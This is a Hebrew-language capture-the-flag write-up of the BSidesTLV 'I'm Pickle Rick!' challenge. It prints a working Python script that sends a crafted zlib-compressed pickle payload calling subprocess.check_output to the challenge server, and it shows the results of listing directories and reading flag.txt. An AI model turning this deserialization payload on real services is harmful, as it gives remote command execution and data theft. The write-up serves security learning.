I'm Pickle Rick!

נכתב על ידי Narcissus

I'm Pickle Rick!

הקישור מביא אותנו לאתר הזה:

site

בקוד מקור של הדף אנחנו מוצאים כמה סקריפטים מעניינים:

<script>
    var members;

    function pickleRick() {
        $('.pickleimg').fadeIn(1000);
        anatomyParkMembers("morty");
    }

    function anatomyParkMembers(visitor) {
        var url = "/getMembers.html";
        if (visitor) {
            url += "?visitor=" + visitor
        }
        $.get(url, function (data) {
            $(".result").html(data);
            localStorage.setItem("anatomyParkMembers", data);
        });
    }

    function statusAnatomyParkMembers() {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            return false;
        }
        // DEFLATE
        $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
            format: "json"
        }).done(function (data) {
            members = data;
        });
    }
</script>

<script>
    $(document).ready(function () {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            anatomyParkMembers();
        }
        setInterval(function () {
            statusAnatomyParkMembers();
        }, 10000);
    });
</script>

הרקע של האתר זה סרטון:

<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
    <source src="/static/Untitled.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>

החלק החשוב פה זה התכונה onended.

מה שקורה באופן כללי באתר זה: העמוד נטען ומנגן את הסרטון ברקע. כשהסרטון מסתיים מתבצעת קריאה ל-pickleRick();. הפונקציה הזאת קוראת ל-anatomyParkMembers("morty");, שהוא בתורו שומר את התשובה מ-/getMembers.html?visitor=morty אל משהו שמקרא localStorage. לאחר מכן, כל 10 שניות מתבצעת קריאה לפונקציה statusAnatomyParkMembers(); אלא אם כן ה-localStorage אופס.

נסתכל בעמודים /getMembers.html ו-/statusMembers.html שניגשים אליהם מהפונקציות anatomyParkMembers() ו-statusAnatomyParkMembers בהתאמה.

ניקח את התוצאה מ-/getMembers.html?visitor=morty: eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE ונשלח אל /statusMembers.html?data= ונקבל: {"visitors": ["morty"], "employees": ["Ruben", "Annie", "Poncho", "Roger", "Allen"]}.

נראה ש-/getMembers.html מוסיף את תוכן המשתנה visitor למערך json, מבצע לזה דחיסה כלשהי, ומחזיר את התוצאה. /statusMembers.html?data= לוקח את המידע הדחוס ופורס אותו ומחזיר את התוצאה.

רואים בהדרים של הפקטות שהדחיסה מתבצעת בעמצאות gzip, deflate. רצינו לראות מה יקרה אם נדחוס פקודה ונשלח ל-/statusMembers.html?data=. קצת קוד שניסינו:

import zlib
import requests
import base64


def create_command(cmd, args, flags):
    template = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
    return base64.b64encode(zlib.compress(template.format(cmd, args, flags), 9))

url_template = 'http://two.challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(url_template.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

יש! קיבלנו בתשובה:

total 72
drwxr-xr-x   1 root root 4096 Jun 10 08:22 app
drwxr-xr-x   1 root root 4096 Jun  6 03:35 bin
drwxr-xr-x   2 root root 4096 Feb 23 23:23 boot
drwxr-xr-x   5 root root  340 Jun 12 05:40 dev
drwxr-xr-x   1 root root 4096 Jun 10 08:22 etc
-rw-r--r--   1 root root   34 Jun 10 08:21 flag.txt
drwxr-xr-x   1 root root 4096 Jun 10 08:22 home
drwxr-xr-x   1 root root 4096 Jun  6 03:35 lib
drwxr-xr-x   2 root root 4096 Apr 26 00:00 lib64
drwxr-xr-x   2 root root 4096 Apr 26 00:00 media
drwxr-xr-x   2 root root 4096 Apr 26 00:00 mnt
drwxr-xr-x   2 root root 4096 Apr 26 00:00 opt
dr-xr-xr-x 265 root root    0 Jun 12 05:40 proc
drwx------   1 root root 4096 Jun 10 08:22 root
drwxr-xr-x   4 root root 4096 Apr 26 00:00 run
drwxr-xr-x   2 root root 4096 Apr 26 00:00 sbin
drwxr-xr-x   2 root root 4096 Apr 26 00:00 srv
dr-xr-xr-x  13 root root    0 Jun 10 12:55 sys
drwxrwxrwt   1 root root 4096 Jun 12 19:04 tmp
drwxr-xr-x   1 root root 4096 Apr 26 00:00 usr
drwxr-xr-x   1 root root 4096 Apr 26 00:00 var

עכשיו לקרוא את flag.txt:

r = requests.get(url_template.format(create_command('cat', '../flag.txt', '-u')))
print r.text[1:-3]

והתשובה:

BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!}

Success